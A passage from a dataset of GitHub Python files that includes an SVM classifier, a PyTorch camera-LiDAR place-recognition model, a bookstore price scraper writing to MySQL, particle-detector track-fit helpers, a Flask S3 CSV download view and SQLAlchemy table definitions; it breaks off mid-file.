np.zeros((dimension1,dimension2));\n\n    for i in range(dimension1):\n        for j in range(dimension2):\n            matrix[i][j] = np.sum(np.min([h1[i], h2[j]],axis = 0))\n\n    return matrix\n\n\nK_train = intersection_kernel(histogram_train, histogram_train)\nK_test = intersection_kernel(histogram_test, histogram_train)\nprint(K_train[0:5, 0:5])\nprint(K_test[0:5, 0:5])\n\n# PART 5\nyyK = np.matmul(y_train[:,None], y_train[None,:]) * K_train\nC = 10\nepsilon = 0.001\n\nP = cvx.matrix(yyK)\nq = cvx.matrix(-np.ones((N_train, 1)))\nG = cvx.matrix(np.vstack((-np.eye(N_train), np.eye(N_train))))\nh = cvx.matrix(np.vstack((np.zeros((N_train, 1)), C * np.ones((N_train, 1)))))\nA = cvx.matrix(1.0 * y_train[None,:])\nb = cvx.matrix(0.0)   \n\n# use cvxopt library to solve QP problems\nresult = cvx.solvers.qp(P, q, G, h, A, b)\nalpha = np.reshape(result[\"x\"], N_train)\nalpha[alpha < C * epsilon] = 0\nalpha[alpha > C * (1 - epsilon)] = C\n\n# find bias parameter\nsupport_indices, = np.where(alpha != 0)\nactive_indices, = np.where(np.logical_and(alpha != 0, alpha < C))\nw0 = np.mean(y_train[active_indices] * (1 - np.matmul(yyK[np.ix_(active_indices, support_indices)], alpha[support_indices])))\n\n# calculate predictions on training samples\nf_predicted = np.matmul(K_train, y_train[:,None] * alpha[:,None]) + w0\ny_predicted = 2 * (f_predicted > 0.0) - 1\nconfusion_matrix = pd.crosstab(np.reshape(y_predicted, N_train), y_train,\n                               rownames = [\"y_predicted\"], colnames = [\"y_train\"])\nprint(confusion_matrix)\n\n# calculate predictions on test samples\nf_predicted = np.matmul(K_test, y_train[:,None] * alpha[:,None]) + w0\ny_predicted = 2 * (f_predicted > 0.0) - 1\nconfusion_matrix = pd.crosstab(np.reshape(y_predicted, N_train), y_test,\n                               rownames = [\"y_predicted\"], colnames = [\"y_test\"])\nprint(confusion_matrix)\n\n# PART 6\npowers = np.array(range(-2,7))/2\ntraining_accuracy = np.zeros(powers.shape)\ntest_accuracy = np.zeros(powers.shape)\n\nfor i,power in enumerate(powers):\n    C = 10**power\n    epsilon = 0.001\n\n    P = cvx.matrix(yyK)\n    q = cvx.matrix(-np.ones((N_train, 1)))\n    G = cvx.matrix(np.vstack((-np.eye(N_train), np.eye(N_train))))\n    h = cvx.matrix(np.vstack((np.zeros((N_train, 1)), C * np.ones((N_train, 1)))))\n    A = cvx.matrix(1.0 * y_train[None,:])\n    b = cvx.matrix(0.0)\n    # use cvxopt library to solve QP problems\n    result = cvx.solvers.qp(P, q, G, h, A, b)\n    alpha = np.reshape(result[\"x\"], N_train)\n    alpha[alpha < C * epsilon] = 0\n    alpha[alpha > C * (1 - epsilon)] = C\n    # find bias parameter\n    support_indices, = np.where(alpha != 0)\n    active_indices, = np.where(np.logical_and(alpha != 0, alpha < C))\n    w0 = np.mean(y_train[active_indices] * (1 - np.matmul(yyK[np.ix_(active_indices, support_indices)], alpha[support_indices])))\n    \n    train_predictions = np.matmul(K_train, y_train[:,None] * alpha[:,None]) + w0\n    y_train_predicted = 2 * (train_predictions > 0.0) - 1\n    training_confusion_matrix = pd.crosstab(np.reshape(y_train_predicted, N_train), y_train)\n    training_accuracy[i] = (training_confusion_matrix[-1][-1]+training_confusion_matrix[1][1])/N_train\n    \n    test_predictions = np.matmul(K_test, y_train[:,None] * alpha[:,None]) + w0\n    y_test_predicted = 2 * (test_predictions > 0.0) - 1\n    test_confusion_matrix = pd.crosstab(np.reshape(y_test_predicted, N_train), y_test)\n    test_accuracy[i] = (test_confusion_matrix[-1][-1]+test_confusion_matrix[1][1])/N_train\n    \n    \nfig, axs = plt.subplots(1, figsize=(10,6))\naxs.plot(10**powers,training_accuracy,\"b-o\", label = \"training\")\naxs.plot(10**powers,test_accuracy,\"r-o\", label = \"test\")\naxs.set_xlabel(\"Regularization Parameter (C)\")\naxs.set_ylabel(\"Accuracy\")\naxs.legend()\naxs.set_xscale('log')\n\nplt.show()","repo_name":"deniz-erdogan/machine_learning_projects","sub_path":"svm_classification/svm_classification.py","file_name":"svm_classification.py","file_ext":"py","file_size_in_byte":5353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26624712418","text":"import math\nimport copy\nimport torch\nfrom torch import nn\nfrom modules.netvlad import NetVLADLoupe\nfrom torchvision.models.resnet import resnet18\n\n\nclass LCPR(nn.Module):\n    def __init__(self, pretrained):\n        super().__init__()\n        self.conv1_i = pretrained.conv1\n        self.bn1_i = pretrained.bn1\n        self.relu = pretrained.relu\n        self.maxpool = pretrained.maxpool\n        self.conv_l = nn.Conv2d(1, 64, kernel_size=1)\n        self.layer1_i = pretrained.layer1\n        self.layer2_i = pretrained.layer2\n        self.layer2_l = copy.deepcopy(pretrained.layer2)\n        self.layer3_i = pretrained.layer3\n        self.layer3_l = copy.deepcopy(pretrained.layer3)\n        self.layer4_i = pretrained.layer4\n        self.layer4_l = copy.deepcopy(pretrained.layer4)\n        self.fusion1 = fusion_block(in_channels=64, mid_channels=32, out_channels=64, num_cam=6)\n        self.fusion2 = fusion_block(in_channels=128, mid_channels=64, out_channels=128, num_cam=6)\n        self.fusion3 = fusion_block(in_channels=256, mid_channels=128, out_channels=256, num_cam=6)\n        self.fusion4 = fusion_block(in_channels=512, mid_channels=256, out_channels=512, num_cam=6)\n        self.v_conv_i = VertConv(in_channels=512, mid_channels=256, out_channels=256)\n        self.v_conv_l = VertConv(in_channels=512, mid_channels=256, out_channels=256)\n        self.netvlad_i = NetVLADLoupe(feature_size=256, max_samples=132, cluster_size=32, output_dim=128)\n        self.netvlad_l = NetVLADLoupe(feature_size=256, max_samples=132, cluster_size=32, output_dim=128)\n        self.eca = eca_layer(256)\n\n    def forward(self, x_i, x_l):\n        # x_i: B x N x C x Hi x Wi\n        # x_l: B x C x Hl x Wl\n        B, N, C, Hi, Wi = x_i.shape\n        x_i = x_i.view(B * N, C, Hi, Wi)\n        x_i = self.conv1_i(x_i)\n        x_i = self.bn1_i(x_i)\n        x_i = self.relu(x_i)\n        x_i = self.maxpool(x_i)\n        x_i = self.layer1_i(x_i)\n\n        x_l = self.conv_l(x_l)\n        x_i_1, x_l_1 = self.fusion1(x_i, x_l)\n        x_i = x_i + x_i_1\n        x_l = x_l + x_l_1\n\n        x_i = self.layer2_i(x_i)\n        x_l = self.layer2_l(x_l)\n        x_i_1, x_l_1 = self.fusion2(x_i, x_l)\n        x_i = x_i + x_i_1\n        x_l = x_l + x_l_1\n\n        x_i = self.layer3_i(x_i)\n        x_l = self.layer3_l(x_l)\n        x_i_1, x_l_1 = self.fusion3(x_i, x_l)\n        x_i = x_i + x_i_1\n        x_l = x_l + x_l_1\n\n        x_i = self.layer4_i(x_i)\n        x_l = self.layer4_l(x_l)\n        x_i_1, x_l_1 = self.fusion4(x_i, x_l)\n        x_i = x_i + x_i_1\n        x_l = x_l + x_l_1\n\n        x_i = paronamic_concat(x_i, N=6)  # B x C x Hi X NWi\n\n        x_i = self.v_conv_i(x_i)  # B x C x NWi\n        x_i = x_i.unsqueeze(2)  # B x C x 1 x NWi\n        x_l = self.v_conv_l(x_l)  # B x C x Wl\n        x_l = x_l.unsqueeze(2)  # B x C x 1 x Wl\n\n        x_i = self.netvlad_i(x_i)\n        x_l = self.netvlad_l(x_l)\n        x = torch.cat((x_i, x_l), dim=-1)\n        x = x.unsqueeze(-1).unsqueeze(-1)\n        x = self.eca(x)\n        x = x.squeeze(-1).squeeze(-1)\n        x = nn.functional.normalize(x, dim=-1)\n\n        return x\n\n    @classmethod\n    def create(cls, weights=None):\n        if weights is not None:\n            pretrained = resnet18(weights=weights)\n        else:\n            pretrained = resnet18()\n        model = cls(pretrained)\n        return model\n\n\nclass eca_layer(nn.Module):\n\n    def __init__(self, channel, k_size=3):\n        super().__init__()\n        self.avg_pool = nn.AdaptiveAvgPool2d(1)\n        self.conv = nn.Conv1d(1, 1, kernel_size=k_size, padding=(k_size - 1) // 2, bias=False)\n        self.sigmoid = nn.Sigmoid()\n\n    def forward(self, x):\n        # x: input features with shape [b, c, h, w]\n\n        # feature descriptor on the global spatial information\n        y = self.avg_pool(x)\n\n        # Two different branches of ECA module\n        y = self.conv(y.squeeze(-1).transpose(-1, -2)).transpose(-1, -2).unsqueeze(-1)\n\n        # Multi-scale information fusion\n        y = self.sigmoid(y)\n\n        return x * y.expand_as(x)\n\n\ndef paronamic_concat(x, N):\n    # x: BN x C x H x W\n    BN, C, H, W = x.shape\n    B = int(BN / N)\n    x = x.view(B, N, C, H, W)\n    x = x.permute(0, 2, 3, 1, 4)  # B x C x H x N x W\n    x = x.reshape(B, C, H, N * W)  # B x C x H x NW\n    return x\n\n\ndef paronamic_concat_inv(x, N):\n    # x: B x C x H x NW\n    B, C, H, NW = x.shape\n    W = int(NW / N)\n    x = x.view(B, C, H, N, W)\n    x = x.permute(0, 3, 1, 2, 4)  # B x N x C x H x W\n    x = x.reshape(B * N, C, H, W)\n    return x\n\n\nclass fusion_block(nn.Module):\n    def __init__(self, in_channels, mid_channels, out_channels, num_cam):\n        super().__init__()\n        self.num_cam = num_cam\n        self.v_conv_i = VertConv(in_channels, mid_channels, out_channels)\n        self.v_conv_l = VertConv(in_channels, mid_channels, out_channels)\n        self.atten = MultiHeadAttention(d_model=out_channels, n_head=4)\n\n    def forward(self, x_i, x_l):\n        # x_i: BN x C x H x Wi\n        _, _, Hi, Wi = x_i.shape\n        _, _, Hl, Wl = x_l.shape\n        x_i = paronamic_concat(x_i, self.num_cam)\n        x_i = self.v_conv_i(x_i)  # B x C x NWi\n        x_l = self.v_conv_l(x_l)  # B x C x Wl\n        x = torch.cat((x_i, x_l), dim=-1)  # B x C x (NWi+Wl)\n        x = x.transpose(1, 2)  # B x (NWi+Wl) x C\n        x = x + self.atten(x, x, x)\n        x = x.transpose(1, 2)  # B x C x (NWi+Wl)\n        x_i, x_l = torch.split(x, [self.num_cam * Wi, Wl], dim=-1)\n\n        x_i = x_i.unsqueeze(2)\n        x_i = x_i.expand(-1, -1, Hi, -1)\n        x_i = paronamic_concat_inv(x_i, self.num_cam)\n\n        x_l = x_l.unsqueeze(2)\n        x_l = x_l.expand(-1, -1, Hl, -1)\n        return x_i, x_l\n\n\nclass VertConv(nn.Module):\n    def __init__(self, in_channels, mid_channels, out_channels):\n        super().__init__()\n        self.input_conv = nn.Sequential(\n            nn.Conv2d(in_channels, in_channels, kernel_size=1, bias=True),\n            nn.Sigmoid(),\n            nn.Conv2d(in_channels, in_channels, kernel_size=1, bias=True)\n        )\n\n        self.reduce_conv = nn.Sequential(\n            nn.Conv1d(\n                in_channels,\n                mid_channels,\n                kernel_size=1,\n                bias=False,\n            ),\n            nn.BatchNorm1d(mid_channels),\n            nn.ReLU(inplace=True)\n        )\n\n        self.conv = nn.Sequential(\n            nn.Conv1d(\n                mid_channels,\n                mid_channels,\n                kernel_size=3,\n                stride=1,\n                padding=1,\n                bias=False,\n            ),\n            nn.BatchNorm1d(mid_channels),\n            nn.ReLU(inplace=True),\n            nn.Conv1d(\n                mid_channels,\n                mid_channels,\n                kernel_size=3,\n                stride=1,\n                padding=1,\n                bias=False,\n            ),\n            nn.BatchNorm1d(mid_channels),\n            nn.ReLU(inplace=True),\n        )\n\n        self.out_conv = nn.Sequential(\n            nn.Conv1d(\n                mid_channels,\n                out_channels,\n                kernel_size=1,\n                stride=1,\n                bias=True,\n            ),\n            nn.BatchNorm1d(out_channels),\n            nn.ReLU(inplace=True),\n        )\n\n    def forward(self, x):\n        x = self.input_conv(x)\n        x = x.max(2)[0]\n        x = self.reduce_conv(x)\n        x = self.conv(x) + x\n        x = self.out_conv(x)\n        return x\n\n\nclass MultiHeadAttention(nn.Module):\n\n    def __init__(self, d_model, n_head):\n        super(MultiHeadAttention, self).__init__()\n        self.n_head = n_head\n        self.attention = ScaleDotProductAttention()\n        self.w_q = nn.Linear(d_model, d_model)\n        self.w_k = nn.Linear(d_model, d_model)\n        self.w_v = nn.Linear(d_model, d_model)\n        self.w_concat = nn.Linear(d_model, d_model)\n\n    def forward(self, q, k, v, mask=None):\n        # 1. dot product with weight matrices\n        q, k, v = self.w_q(q), self.w_k(k), self.w_v(v)\n\n        # 2. split tensor by number of heads\n        q, k, v = self.split(q), self.split(k), self.split(v)\n\n        # 3. do scale dot product to compute similarity\n        out, attention = self.attention(q, k, v, mask=mask)\n\n        # 4. concat and pass to linear layer\n        out = self.concat(out)\n        out = self.w_concat(out)\n\n        return out\n\n    def split(self, tensor):\n        batch_size, length, d_model = tensor.size()\n\n        d_tensor = d_model // self.n_head\n        tensor = tensor.view(batch_size, length, self.n_head, d_tensor).transpose(1, 2)\n\n        return tensor\n\n    def concat(self, tensor):\n\n        batch_size, head, length, d_tensor = tensor.size()\n        d_model = head * d_tensor\n\n        tensor = tensor.transpose(1, 2).contiguous().view(batch_size, length, d_model)\n        return tensor\n\n\nclass ScaleDotProductAttention(nn.Module):\n\n    def __init__(self):\n        super(ScaleDotProductAttention, self).__init__()\n        self.softmax = nn.Softmax(dim=-1)\n\n    def forward(self, q, k, v, mask=None, e=1e-12):\n        # input is 4 dimension tensor\n        # [batch_size, head, length, d_tensor]\n        batch_size, head, length, d_tensor = k.size()\n\n        k_t = k.transpose(2, 3)\n        score = (q @ k_t) / math.sqrt(d_tensor)\n\n        if mask is not None:\n            score = score.masked_fill(mask == 0, -10000)\n\n        score = self.softmax(score)\n\n        v = score @ v\n\n        return v, score\n","repo_name":"ZhouZijie77/LCPR","sub_path":"modules/LCPR.py","file_name":"LCPR.py","file_ext":"py","file_size_in_byte":9397,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"60"}
+{"seq_id":"22479492198","text":"import requests\nfrom bs4 import BeautifulSoup as BS\nimport mysql.connector\nimport csv\n\n\nurl='https://www.cuspide.com/cienmasvendidos'\n\nrespuesta=requests.get(url)\n\nrespuesta.econding='utf-8'\nhtml=respuesta.text\n\ndom= BS(html,features='html.parser')\n    \nurl2='https://www.cuspide.com/'\n\narticulos=dom.find_all('article')\n\nlista=[]\nfor libros in articulos:\n    titulos=libros.a['href']\n    lista.append(titulos)\n    \nlista_links=[]\nfor links in lista:\n    links_libros=url2+links\n    lista_links.append(links_libros)\n\n\nlista_unido=[]\nfor linksa in lista_links:\n    libros_links=requests.get(linksa)\n    libros_links.econding='utf-8'\n    html2=libros_links.text\n    dom2=BS(html2,features='html.parser')\n    \n    titulos=dom2.find('div', class_='md-datos')\n    titulos2=titulos.a['title']\n        \n    \n   \n    \n    label=dom2.find('span', text='AR$')\n    precios=label.next_sibling.strip()\n    \n    #print(precios)\n    \n    unido=(titulos2+\";\"+precios)\n    lista_unido.append(unido)\n\narchivo=open('listaspreciosylibross.csv','w')\nfor linea in lista_unido:\n    fila=linea.split(';')\n    archivo.write(fila[0]+';'+fila[1])\n    archivo.write('\\n')\n\narchivo.close()\n\n\nconexion = mysql.connector.connect(\n                    host = 'your_host',\n                    database = 'your_data_base',\n                    user = 'your_user',\n                    password = 'your_password')\n\ncursor = conexion.cursor()  \n\n\narchivo_open= open('listaspreciosylibross.csv','r')\nlibros_csv=csv.reader(archivo_open,delimiter=';')\n\n\n \n\nfor libros in libros_csv:\n    \n    pre=libros[1].replace('.','')\n\n    \n\n    sql = \"INSERT INTO libros2 (nombres,precios) VALUES (%s,%s)\"\n    \n    tu=(libros[0],pre)\n    \n    \n    \n    cursor.execute(sql,tu)\n    conexion.commit()\n\n\n    \ncursor.close()\nconexion.close()\narchivo_open.close()\n\n    \n    \n\n    \n  \n\n\n    \n    \n            \n       \n        \n     \n        \n    \n\n    \n    \n \n  \n \n    \n","repo_name":"ivansgithub/Sql-connector","sub_path":"cuspidetitulosprecios.py","file_name":"cuspidetitulosprecios.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30521403216","text":"import ROOT\nimport numpy as np\n\n\ndef goodEvent(eventTree, nStations, allowMore):\n    '''Return True if nStations (or more if allowMore) are hits in the event'''\n\n    stations = {}\n    for detectedHit in eventTree.Digi_ScifiHits:\n        stations[detectedHit.GetDetectorID()//1000000] = 1\n               \n    # for detectedHit in eventTree.Digi_MuFilterHit:\n    #     plane = 100*(detectedHit.GetDetectorID()//1000)\n    #     stations[plane] = 1\n    if allowMore:\n        if len(stations) >= nStations: return True\n    else:\n        if len(stations) == nStations: return True\n    return False\n\ndef indexStationsHit(eventTree):\n    '''\n    return array [X_1,X_2,X_3,...] of planes hit.\n    X: 0-9 number of the plane hit. With same convention as zArr:\n    2 * (plane number-1) + 1 for vertical plane\n    i.e. plane 2 vertical would have number 3 here. \n    '''\n\n    # Filling a dictionary allows overwritting to have one entery per plane.\n    stations = {} \n    for detectedHit in eventTree.Digi_ScifiHits:\n        detID = detectedHit.GetDetectorID()\n\n        planeNumber = (detID // 1000000 - 1) * 2  + (detID // 100000) % 2\n        stations[detID//100000] = planeNumber\n    \n    # Fill array to return from dict values:\n    indexHitArr = [] \n    for planeID in stations.values():\n        indexHitArr.append(planeID)\n    return indexHitArr\n\n\ndef extendHits(fittedTrack, zArr):\n    '''\n    Extend the fit position to include missing planes hits.\n    fittedTrack: ROOT.genfit.Track, obtained with customFitStatus()\n    zArr: array containing z position (float) of each plane. \n    Return array of 10 TVector3, aech containing the fit intersection\n    with one plane.\n    '''\n    fitHits =[ROOT.TVector3()]*10 # Points where fit crosses the 10 planes.\n    # for i in range(fittedTrack.getNumPointsWithMeasurement()):\n    # Only the first can be used, other hits give same line\n    state = fittedTrack.getFittedState(0)\n    pos = state.getPos()\n    mom = state.getMom()\n    # linear fit: pos + lambda * mom\n    for planeIndex in range(len(zArr)):\n        lambdaPlane = (zArr[planeIndex] - pos[2]) / mom[2]\n        fitHits[planeIndex] = pos + lambdaPlane * mom\n    return fitHits\n\n\ndef crossAllPlanes(fitHitsArr,geo, verbose=False):\n    '''\n    Return true if fit is within the detector boundaries.\n    Tell where the fit exit the detector if verbose activated\n    fitHitsArr: coordinates of fit-plane intersection from extendHits().\n    geo: SndlhcGeo.GeoInterface(<geometry file>) for detector boundaries.\n    '''\n    isInside = True # Set to False if only once out of bounds\n    A,B = ROOT.TVector3(),ROOT.TVector3()\n\n    #First plane horizontal:\n    geo.modules['Scifi'].GetSiPMPosition(1000000,A,B)\n    if fitHitsArr[0][0]<B[0] or A[0]<fitHitsArr[0][0]:\n        isInside = False\n        if verbose:\n            print('first x border exceeded:')\n            print(f'{fitHitsArr[0][0]}<{B[0]} or {A[0]}<{fitHitsArr[0][0]}')\n\n    #First plane vertical:\n    geo.modules['Scifi'].GetSiPMPosition(1100000,A,B)\n    if fitHitsArr[1][1]<A[1] or B[1]<fitHitsArr[1][1]:\n        isInside = False\n        if verbose:\n            print('first y border exceeded')\n            print(f'{fitHitsArr[1][1]}<{A[1]} or {B[1]}<{fitHitsArr[1][1]}')\n\n    #Last plane horizontal:\n    geo.modules['Scifi'].GetSiPMPosition(5000000,A,B)\n    if fitHitsArr[8][0]<B[0] or A[0]<fitHitsArr[8][0]:\n        isInside = False\n        if verbose:\n            print('last x border exceeded')\n            print(f'{fitHitsArr[8][0]}<{B[0]} or {A[0]}<{fitHitsArr[8][0]}')\n\n    #Last plane vertical:\n    geo.modules['Scifi'].GetSiPMPosition(5100000,A,B)\n    if fitHitsArr[9][1]<A[1] or B[1]<fitHitsArr[9][1]:\n        isInside = False\n        if verbose:\n            print('last y border exceeded')\n            print(f'{fitHitsArr[9][1]}<{A[1]} or {B[1]}<{fitHitsArr[9][1]}')\n\n    return isInside\n\n\ndef zPlaneArr(eventTree,geo):\n    '''\n    Return array with the 10 z coordinates of the planes.\n    format: [1hor, 1ver, 2hor, ...,5hor, 5ver]\n    /!\\ THIS ASSUME Z FIX FOR ALL THE PLANE!\n    geo: SndlhcGeo.GeoInterface(<geometry file>) for planes positions.\n    eventTree: event list to get one event crossing all planes \n    to get each plane position.\n    '''\n    zArr = [0,0,0,0,0,0,0,0,0,0] # Fill Z coordinate of the planes\n    # Warning message if z values > epsilon for different SiPM of same plane\n    epsilon = 0.0001 \n\n    for sTree in eventTree: # Need the first event with all planes hit:\n        if goodEvent(eventTree = eventTree, nStations = 5, allowMore = False):\n            A,B = ROOT.TVector3(),ROOT.TVector3()\n            for hit in sTree.Digi_ScifiHits:\n                hitID = hit.GetChannelID()\n                geo.modules['Scifi'].GetSiPMPosition(hitID,A,B)\n                indexArr = (hitID // 1000000-1) * 2  + (hitID // 100000) % 2\n                #           add 2 for each plane        add 1 if vertical\n\n                zVal = 0.5 * (A[2] + B[2])\n                #Will overwrite if event of same plane, good to check if same z.\n                if zArr[indexArr]!=0 and zArr[indexArr]-zVal>epsilon:\n                    print(f'WARNING: SciFi planes {indexArr} not aligned in Z direction!')\n                zArr[indexArr] = zVal # Fill z array\n            break\n    return zArr\n\ndef sortHitStation(clusterArr,stationArr):\n    '''\n    return the array of clusters from clusterArr that belong\n    to one of the selected stations of stationArr\n    stationArr: Array with selected stations number, ex: [1,3,4,5]\n    '''\n    \n    clusFit = []\n    clusTest = []\n    for cluster in clusterArr:\n        # If the cluster station is inside our list to fit:\n        if (cluster.GetFirst()//1000000) in stationArr:\n            clusFit.append(cluster)\n        else:\n            clusTest.append(cluster)\n    return clusFit, clusTest\n\n\ndef distFit(fitHits, clusterArr, testStationNum):\n    '''\n    Takes the cluster list of an event (clusterArr), the fit\n    (constructed with the 4 stations) hits on all the the plane\n    fitHits which is a 10 elements array and the 5th test station\n    (testStationNum) to compute the distance between the test station's\n    hits and the predicted position by the fit on the same plane.\n    Missing hits are set to 1000, easy to remove afterward.\n\n    fitHits: array of TVector3 plane-fit intersection from extendHits()\n    Return horizontal fit-hit difference, vertical fit-hit difference,\n    horizontal position of the selected hit, vertical position of the selected hit.\n    '''\n    horIndex = 2 * (testStationNum - 1)\n    verIndex = horIndex +1\n    horClusters = [1000] # Large numer so it will be the minimum\n    verClusters = [1000] # only if the array is empty\n    #Fill horizontal and vertical cluster lists of the test plane:\n    for cluster in clusterArr:\n        if (cluster.GetFirst()//1000000) == testStationNum:\n            A,B = ROOT.TVector3(),ROOT.TVector3()\n            cluster.GetPosition(A,B)\n            if ((cluster.GetFirst()//100000) % 2 ) == 0: # horizontal\n                horClusters.append(A[1])\n            else:\n                verClusters.append(A[0])\n\n    horFit = fitHits[horIndex][1]\n    verFit = fitHits[verIndex][0]\n    # We want the differece (no abs) of the closest point(in absolute diff)\n    horDiffIndex = np.argmin([abs(x - horFit) for x in horClusters]) # Minimal distance\n    verDiffIndex = np.argmin([abs(y - verFit) for y in verClusters])\n    horPos = horClusters[horDiffIndex]\n    verPos = verClusters[verDiffIndex]\n    horDiff = horPos - horFit\n    verDiff = verPos - verFit\n    return horDiff, verDiff, horPos , verPos\n\ndef testClusterProblem(eventTree):\n    ''' \n    Test for cluster separated by only one unactivated SiPM channel.\n    Print the result for easily see the neighboring clusters.\n    eventTree: Event list from root file.\n    return: None\n    '''\n    print('##################')\n    IDArr = []\n    for hit in sTree.Digi_ScifiHits:\n        detID = int(hit.GetDetectorID())\n        IDArr.append(detID)\n    IDArr.sort()\n    prevElement=0\n    for element in IDArr:\n        diff = element - prevElement\n        if not (diff ==1):\n            if diff < 10:\n                print(f'!!!---{element - prevElement}---!!!')\n            else:\n                print('---')\n        print(element)\n        prevElement = element\ndef customFitStatus(trackTask, FitStations):\n    '''\n    Do manually the trackTask.ExecuteTask() so it can use arbitrary number\n    of stations for the fit.\n    Return the fit and fit status object containing the fitted track.\n    stationArr: Array with selected stations number for the fit, ex: [1,3,4,5]\n    '''\n    trackTask.clusters = trackTask.scifiCluster() # Build cluster list\n    clusFit, clusTest = sortHitStation(clusterArr=trackTask.clusters,stationArr=FitStations)\n    # Do the manual fit with the reduced number of stations:\n    # Need manual dictionnary for the fitTrack(hitlist):\n    clusDict = {}\n    for x in clusFit:\n        A,B = ROOT.TVector3(),ROOT.TVector3()\n        clusterID = x.GetFirst()\n        dictEntery = {clusterID: x}\n        clusDict.update(dictEntery)\n    fit = trackTask.fitTrack(hitlist=clusDict) # Type ROOT.genfit.Track\n    fitStatus= fit.getFitStatus()\n    trackTask.event.fittedTracks = [fit] # Array to keep sndsw format\n    return fit, fitStatus","repo_name":"marcjacquart/scifi_analysis","sub_path":"analysisFunctions.py","file_name":"analysisFunctions.py","file_ext":"py","file_size_in_byte":9270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26217002477","text":"import os\nimport contextlib\nfrom StringIO import StringIO\nfrom datetime import datetime\nfrom flask import(Blueprint, render_template, request,\n                  url_for, current_app, Response, flash, redirect)\nfrom flask_login import current_user, login_required\n# from mods.app import app\nfrom ..admin.models import File\nfrom forms import DownloadForm\nfrom ..admin.functions import _init_s3\n# from .._celery import create_celery\n\n\nresource_bp = Blueprint('resource', __name__, url_prefix='/resource')\n\n\n@resource_bp.route('/download_query', methods=['GET', 'POST'])\n@login_required\ndef download_query():\n    form = DownloadForm()\n    symbol = request.args.get('symbol')\n    if request.method == 'POST':\n        if symbol:\n            form.symbol.data = symbol\n        symbol = form.symbol.data.upper()\n        start = form.contract_from.data\n        end = form.contract_to.data\n        results = File.query.filter(File.symbol == symbol,\n                                    File.contract_date.between(start, end)).all()\n        if results:\n            return redirect(url_for('resource.show_results',\n                                    symbol=symbol, start=start, end=end))\n        else:\n            flash('The file does not exist.', 'danger')\n            return redirect(request.url)\n    return render_template('resource/download_query.html',\n                           title='Download_query',\n                           form=form,\n                           current_user=current_user)\n\n\n@resource_bp.route('/show_results', methods=['GET', 'POST'])\n@login_required\ndef show_results():\n    symbol = request.args.get('symbol')\n    start = request.args.get('start')\n    end = request.args.get('end')\n    results = File.query.filter(File.symbol == symbol,\n                                File.contract_date.between(start, end)).all()\n    if request.method == 'POST':\n        query = request.form.getlist('csv')\n        return redirect(url_for('resource.download_csv', query=query))\n    return render_template('resource/show_results.html',\n                           current_user=current_user,\n                           results=results,\n                           title='show results')\n\n\n@resource_bp.route('/download_csv')\n@login_required\ndef download_csv():\n    s3 = _init_s3()\n    # celery = create_celery(current_app)\n    query = request.args.getlist('query')\n    if query:\n        with contextlib.closing(StringIO()) as b:\n            b.write('symbol,timestamp,tradingDay,open,high,low,close,volume,openInterest\\n')\n            for q in query:\n                directory = q[:2]\n                obj_name = q\n                # directory = q.split('_')[0]\n                # obj_name = q.split('_')[-1]\n                k = 'downloads2/{}/{}'.format(directory, obj_name)\n                data = s3.get_object(Bucket=os.environ.get('S3_BUCKET_NAME'),\n                                     Range='bytes={}-{}'.format(67, ''),\n                                     Key=k)['Body'].read().lstrip()\n                b.write(data)\n            return Response(b.getvalue(),\n                            mimetype='text/csv',\n                            headers={\"Content-Disposition\": \"attachment;filename={}.csv\".format(datetime.utcnow())})\n    else:\n        flash('Please select file(s)', 'danger')\n        return redirect(url_for('resource.show_results'))\n","repo_name":"Jiang-MMT/futuresdatastore","sub_path":"mods/resource/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27016647941","text":"import sqlalchemy as sa\nfrom sqlalchemy.dialects.postgresql import JSONB\nimport datetime\nimport json\nimport os\nfrom ocdskingfisher.models import CollectionModel, FileModel\nimport alembic.config\nfrom ocdskingfisher.util import get_hash_md5_for_data\n\n\nclass SetEncoder(json.JSONEncoder):\n    def default(self, obj):\n        if isinstance(obj, set):\n            return list(obj)\n        return json.JSONEncoder.default(self, obj)\n\n\nclass DataBase:\n\n    def __init__(self, config):\n        self.config = config\n        self._engine = None\n\n        self.metadata = sa.MetaData()\n\n        self.collection_table = sa.Table('collection', self.metadata,\n                                         sa.Column('id', sa.Integer, primary_key=True),\n                                         sa.Column('source_id', sa.Text, nullable=False),\n                                         sa.Column('data_version', sa.Text, nullable=False),\n                                         sa.Column('store_start_at', sa.DateTime(timezone=False), nullable=False),\n                                         sa.Column('store_end_at', sa.DateTime(timezone=False), nullable=True),\n                                         sa.Column('sample', sa.Boolean, nullable=False, default=False),\n                                         sa.UniqueConstraint('source_id', 'data_version', 'sample'),\n                                         )\n\n        # Should be named collection_file but left for backwards compatibility!\n        self.collection_file_table = sa.Table('collection_file', self.metadata,\n                                              sa.Column('id', sa.Integer, primary_key=True),\n                                              sa.Column('collection_id', sa.Integer,\n                                                        sa.ForeignKey(\"collection.id\"), nullable=False),\n                                              sa.Column('filename', sa.Text, nullable=True),\n                                              sa.Column('store_start_at', sa.DateTime(timezone=False),\n                                                        nullable=True),\n                                              sa.Column('store_end_at', sa.DateTime(timezone=False),\n                                                        nullable=True),\n                                              sa.Column('warnings', JSONB, nullable=True),\n                                              sa.UniqueConstraint('collection_id', 'filename'),\n                                              )\n\n        self.collection_file_item_table = sa.Table('collection_file_item', self.metadata,\n                                                   sa.Column('id', sa.Integer, primary_key=True),\n                                                   sa.Column('collection_file_id', sa.Integer,\n                                                             sa.ForeignKey(\"collection_file.id\"),\n                                                             nullable=False),\n                                                   sa.Column('store_start_at', sa.DateTime(timezone=False),\n                                                             nullable=True),\n                                                   sa.Column('store_end_at', sa.DateTime(timezone=False),\n                                                             nullable=True),\n                                                   sa.Column('number', sa.Integer),\n                                                   sa.UniqueConstraint('collection_file_id', 'number'),\n                                                   )\n\n        self.data_table = sa.Table('data', self.metadata,\n                                   sa.Column('id', sa.Integer, primary_key=True),\n                                   sa.Column('hash_md5', sa.Text, nullable=False, unique=True),\n                                   sa.Column('data', JSONB, nullable=False),\n                                   )\n\n        self.package_data_table = 